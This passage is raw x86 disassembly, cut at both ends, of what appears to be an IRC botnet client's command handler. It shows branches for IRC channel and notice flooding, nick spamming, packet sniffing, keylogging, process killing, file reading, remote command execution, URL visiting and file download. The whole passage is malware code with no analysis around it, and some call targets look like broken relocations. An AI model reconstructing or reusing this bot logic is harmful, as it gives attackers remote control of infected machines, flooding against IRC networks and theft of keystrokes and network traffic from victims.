sub_41B980 add esp, 0Ch lea eax, [ebp+var_14F4] push esi push edi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push [ebp+arg_10] push 10h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_1504] push eax lea eax, [ebp+var_2C4] push offset unk_42B5AC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 8 push eax call sub_40B0F6 add esp, 18h mov [ebp+var_13E8], eax lea eax, [ebp+var_2FC] push eax lea eax, [ebp+var_1504] push ebx push eax push offset byte_40B8A1 push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_13E8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404BE6 loc_404BD0: ; CODE XREF: sub_401ACD+3117j cmp [ebp+var_13DC], ebx jnz loc_40828B push 32h nop call near ptr 26903FCh jmp short loc_404BD0 ; --------------------------------------------------------------------------- loc_404BE6: ; CODE XREF: sub_401ACD+3101j nop call near ptr 2690DCCh push eax push offset unk_42B56C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_404BF7: ; CODE XREF: sub_401ACD+3036j push edi push offset aReconnect_in ; "reconnect.in" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aRin ; "rin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4097C0 push edi push offset aReconnect_in_m ; "reconnect.in.ms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push edi push offset aRinms ; "rinms" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409778 push [ebp+arg_8] push offset aFlood ; "flood" call sub_41C070 mov edi, dword_427078 pop ecx test eax, eax pop ecx jnz loc_4057DE call near ptr 26A0B9Fh nop push eax call sub_41B8D8 push [ebp+arg_10] push offset aLoad ; "load" call sub_41C070 add esp, 0Ch test eax, eax jnz short loc_404CFD cmp [ebp+esi+var_80], ebx jz short loc_404CFD push [ebp+esi+var_80] call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_417A5F add esp, 0Ch lea eax, [ebp+var_2C4] push [ebp+esi+var_84] push [ebp+esi+var_88] push [ebp+esi+var_80] push offset unk_42B504 push eax call sub_41B886 add esp, 14h cmp [ebp+var_8], ebx jnz short loc_404CFD push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404CFD: ; CODE XREF: sub_401ACD+31B9j ; sub_401ACD+31BFj ... push [ebp+arg_10] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404D69 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404D69 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_50F4] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_50F4] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404D69: ; CODE XREF: sub_401ACD+3241j ; sub_401ACD+324Cj push [ebp+arg_10] push offset dword_42B4E8 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404DD5 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404DD5 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4BF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4BF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404DD5: ; CODE XREF: sub_401ACD+32ADj ; sub_401ACD+32B8j push [ebp+arg_10] push offset aNt ; "nt" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404E41 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404E41 push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_46EC] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_46EC] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_1 ; "notice %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404E41: ; CODE XREF: sub_401ACD+3319j ; sub_401ACD+3324j push [ebp+arg_10] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EAD mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_404EAD push offset asc_42CA2C ; " " push offset dword_42B4FC push eax call sub_417EEE push eax lea eax, [ebp+var_4DF0] push eax call sub_41BEB0 add esp, 14h lea eax, [ebp+var_4DF0] push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aModeSS ; "mode %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404EAD: ; CODE XREF: sub_401ACD+3385j ; sub_401ACD+3390j push [ebp+arg_10] push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404EEC mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404EEC push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404EEC: ; CODE XREF: sub_401ACD+33F1j ; sub_401ACD+33FCj push [ebp+arg_10] push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F2B mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F2B push eax lea eax, [ebp+var_2C4] push offset aPartS ; "part %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404F2B: ; CODE XREF: sub_401ACD+3430j ; sub_401ACD+343Bj push [ebp+arg_10] push offset aPartflood ; "partflood" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404F6F mov eax, [ebp+esi+var_88] cmp eax, ebx jz short loc_404F6F push offset aCyber ; "CYBER" push eax lea eax, [ebp+var_2C4] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_404F6F: ; CODE XREF: sub_401ACD+346Fj ; sub_401ACD+347Aj push [ebp+arg_10] push offset aPnick ; "pnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404FE8 cmp [ebp+esi+var_88], ebx jz short loc_404FE8 nop call near ptr 26A0B9Fh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_17B4] push edx push [ebp+esi+var_88] push offset dword_42B464 push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_17B4] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_404FE8: ; CODE XREF: sub_401ACD+34B3j ; sub_401ACD+34BCj push [ebp+arg_10] push offset dword_42B450 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405135 cmp [ebp+esi+var_88], ebx jz loc_405135 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber ; "CYBER" push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 0C8h idiv ecx push edx call edi push offset aCyber ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPartSS ; "part %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405135: ; CODE XREF: sub_401ACD+352Cj ; sub_401ACD+3539j push [ebp+arg_10] push offset dword_42B44C call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4051CF cmp [ebp+esi+var_88], ebx jz short loc_4051CF call near ptr 26A0B9Fh nop push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx push edx call sub_41B8E2 cdq mov ecx, 0F423Fh idiv ecx lea eax, [ebp+var_2C4] push edx push [ebp+esi+var_88] push offset dword_42B424 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 24h loc_4051CF: ; CODE XREF: sub_401ACD+3679j ; sub_401ACD+3686j push [ebp+arg_10] push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4052D1 mov eax, [ebp+esi+var_88] cmp eax, ebx jz loc_4052D1 push eax lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 lea eax, [ebp+var_4BC] push eax call sub_417ADD add esp, 14h lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 1F4h idiv ecx push edx call edi lea eax, [ebp+var_4BC] push eax call sub_417ADD pop ecx lea eax, [ebp+var_4BC] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_4052D1: ; CODE XREF: sub_401ACD+3713j ; sub_401ACD+3722j push [ebp+arg_10] push offset aChgnick ; "chgnick" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405318 lea eax, [ebp+var_1808] push eax call sub_417ADD pop ecx lea eax, [ebp+var_1808] push eax lea eax, [ebp+var_2C4] push offset dword_42B45C push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_405318: ; CODE XREF: sub_401ACD+3815j push [ebp+arg_10] push offset aMsg ; "msg" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405407 cmp [ebp+esi+var_88], ebx jz loc_405407 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B4EC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405407: ; CODE XREF: sub_401ACD+385Cj ; sub_401ACD+3869j push [ebp+arg_10] push offset aNotice_0 ; "notice" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4054F6 cmp [ebp+esi+var_88], ebx jz loc_4054F6 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push offset aCyber_0 ; "CYBER" push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 3E8h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 384h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_4054F6: ; CODE XREF: sub_401ACD+394Bj ; sub_401ACD+3958j push [ebp+arg_10] push offset aCtcp ; "ctcp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40560D cmp [ebp+esi+var_88], ebx jz loc_40560D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3C4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset dword_42B3AC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h loc_40560D: ; CODE XREF: sub_401ACD+3A3Aj ; sub_401ACD+3A47j push [ebp+arg_10] push offset aMix ; "mix" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405733 cmp [ebp+esi+var_88], ebx jz loc_405733 push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset aJoinS ; "join %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset dword_42B3DC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 10h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h call sub_41B8E2 cdq mov ecx, 514h idiv ecx push edx call edi push offset aCyber_0 ; "CYBER" lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNoticeSS_0 ; "NOTICE %s :%s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405733: ; CODE XREF: sub_401ACD+3B51j ; sub_401ACD+3B5Ej push [ebp+arg_10] push offset aRegister ; "register" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405779 mov eax, [ebp+esi+var_84] cmp eax, ebx jz short loc_405779 push eax lea eax, [ebp+var_2C4] push [ebp+esi+var_88] push offset aNickservRegist ; "nickserv register %s %s" push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_417788 add esp, 14h loc_405779: ; CODE XREF: sub_401ACD+3C77j ; sub_401ACD+3C82j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4062C3 mov edi, offset dword_4D400C loc_405795: ; CODE XREF: sub_401ACD+3CE7j cmp dword ptr [edi-4], 1 jnz short loc_4057A8 mov eax, [edi] cmp eax, ebx jbe short loc_4057A8 push eax call dword_4CB00C loc_4057A8: ; CODE XREF: sub_401ACD+3CCCj ; sub_401ACD+3CD2j add edi, 210h cmp edi, offset dword_4DA72C jl short loc_405795 cmp [ebp+var_8], ebx jnz loc_4062C3 push ebx push [ebp+var_4] push offset unk_42B34C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4062C3 ; --------------------------------------------------------------------------- loc_4057DE: ; CODE XREF: sub_401ACD+3195j mov edi, [ebp+arg_8] push edi push offset aNick_0 ; "nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aN ; "n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409758 push edi push offset aJoin ; "join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aJ ; "j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409731 push edi push offset aPart_0 ; "part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aPt ; "pt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409711 push edi push offset aRaw ; "raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4096D5 push edi push offset aKillthread ; "killthread" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aK ; "k" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4095D5 push edi push offset aC_quit ; "c_quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_q ; "c_q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409527 push edi push offset aC_rndnick ; "c_rndnick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aC_rn ; "c_rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094D5 push edi push offset aPrefix ; "prefix" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aPr ; "pr" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4094BC push edi push offset aOpen ; "open" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aO ; "o" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40948E push edi push offset aServer ; "server" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aSe ; "se" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409471 push edi push offset aDns ; "dns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aDn ; "dn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409406 push edi push offset aKillproc ; "killproc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKp ; "kp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4093D6 push edi push offset aKill ; "kill" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aKi ; "ki" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409377 push edi push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aDel ; "del" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40933B push edi push offset aGet ; "get" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aGt ; "gt" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40925C push edi push offset aList ; "list" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aLi ; "li" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40923A push edi push offset aVisit ; "visit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aV ; "v" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409146 push edi push offset aMirccmd ; "mirccmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aMirc ; "mirc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40910F push edi push offset aCmd ; "cmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aCm ; "cm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4090A5 push edi push offset aReadfile ; "readfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aRf ; "rf" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409028 push edi push offset aPsniff ; "psniff" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C7B push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405C41 push 20h call sub_40B33E test eax, eax pop ecx jle short loc_405B6B push offset dword_42B24C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405B6B: ; CODE XREF: sub_401ACD+4092j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_EC4], eax mov eax, [ebp+var_4] mov [ebp+var_E3C], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_E38], eax jnz short loc_405BAD mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405BAD mov esi, [ebp+var_88] loc_405BAD: ; CODE XREF: sub_401ACD+40C2j ; sub_401ACD+40D8j push esi lea eax, [ebp+var_EC0] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42B21C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 20h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_E40], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_EC4] push ebx push eax push offset byte_411FD5 push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_E40] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405C30 loc_405C1A: ; CODE XREF: sub_401ACD+4161j cmp [ebp+var_E34], ebx jnz loc_40828B push 32h nop call near ptr 26903FCh jmp short loc_405C1A ; --------------------------------------------------------------------------- loc_405C30: ; CODE XREF: sub_401ACD+414Bj nop call near ptr 2690DCCh push eax push offset dword_42B1E0 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C41: ; CODE XREF: sub_401ACD+4082j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 20h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405C71 push eax push offset dword_42B1A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405C71: ; CODE XREF: sub_401ACD+4197j push offset dword_42B178 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405C7B: ; CODE XREF: sub_401ACD+406Bj push edi push offset aSniffer ; "sniffer" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405DCD push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405D93 push 21h call sub_40B33E test eax, eax pop ecx jle short loc_405CBD push offset unk_42B150 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405CBD: ; CODE XREF: sub_401ACD+41E4j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_88] mov [ebp+var_FEC], eax mov eax, [ebp+var_4] mov [ebp+var_F64], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_F60], eax jnz short loc_405CFF mov esi, offset aF_1 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405CFF mov esi, [ebp+var_88] loc_405CFF: ; CODE XREF: sub_401ACD+4214j ; sub_401ACD+422Aj push esi lea eax, [ebp+var_FE8] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset unk_42B120 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 21h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_F68], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FEC] push ebx push eax push offset sub_412660 push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_F68] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_405D82 loc_405D6C: ; CODE XREF: sub_401ACD+42B3j cmp [ebp+var_F5C], ebx jnz loc_40828B push 32h call near ptr 26903FCh nop jmp short loc_405D6C ; --------------------------------------------------------------------------- loc_405D82: ; CODE XREF: sub_401ACD+429Dj nop call near ptr 2690DCCh push eax push offset unk_42B0E4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405D93: ; CODE XREF: sub_401ACD+41D4j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 21h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405DC3 push eax push offset unk_42B0A4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405DC3: ; CODE XREF: sub_401ACD+42E9j push offset unk_42B074 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405DCD: ; CODE XREF: sub_401ACD+41BDj push edi push offset aIdent ; "ident" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_405EA2 push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405E68 push 2 call sub_40B33E test eax, eax pop ecx jle short loc_405E0B push offset dword_42B04C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405E0B: ; CODE XREF: sub_401ACD+4332j lea eax, [ebp+var_2C4] push offset dword_42B020 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 2 push eax call sub_40B0F6 add esp, 14h mov esi, eax lea eax, [ebp+var_10] push eax push ebx push esi push offset loc_4101FC push ebx push ebx nop call near ptr 2690448h imul esi, 234h cmp eax, ebx mov dword_43DEC4[esi], eax jnz loc_40828B nop call near ptr 2690DCCh push eax push offset dword_42AFEC jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E68: ; CODE XREF: sub_401ACD+4326j push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 2 call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405E98 push eax push offset dword_42AFB4 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405E98: ; CODE XREF: sub_401ACD+43BEj push offset dword_42AF94 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405EA2: ; CODE XREF: sub_401ACD+430Fj push edi push offset aKeylog ; "keylog" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40601F push [ebp+arg_10] push offset aOn ; "on" call sub_41C070 pop ecx mov edi, offset aFile ; "file" test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_405F18 push [ebp+arg_10] push offset aOff ; "off" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40828B push ebx push 23h call sub_40B2F1 pop ecx cmp eax, ebx pop ecx jle short loc_405F0E push eax push offset dword_42AF48 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_405F0E: ; CODE XREF: sub_401ACD+4434j push offset dword_42AF1C jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F18: ; CODE XREF: sub_401ACD+4400j ; sub_401ACD+440Fj push 23h call sub_40B33E test eax, eax pop ecx jle short loc_405F2E push offset dword_42AEFC jmp loc_406F04 ; --------------------------------------------------------------------------- loc_405F2E: ; CODE XREF: sub_401ACD+4455j mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_C5C], eax mov eax, [ebp+var_4] push edi mov [ebp+var_BD4], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F5B mov [ebp+var_BD0], 1 jmp short loc_405F64 ; --------------------------------------------------------------------------- loc_405F5B: ; CODE XREF: sub_401ACD+4480j mov eax, [ebp+var_8] mov [ebp+var_BD0], eax loc_405F64: ; CODE XREF: sub_401ACD+448Cj mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_405F8B mov esi, offset aF_0 ; "#f" push offset dword_43D128 push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_405F8B mov esi, [ebp+var_88] loc_405F8B: ; CODE XREF: sub_401ACD+44A0j ; sub_401ACD+44B6j push esi lea eax, [ebp+var_C54] push 80h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_2C4] push offset dword_42AED8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 23h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_C58], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C5C] push ebx push eax push offset dword_411CF4 push ebx 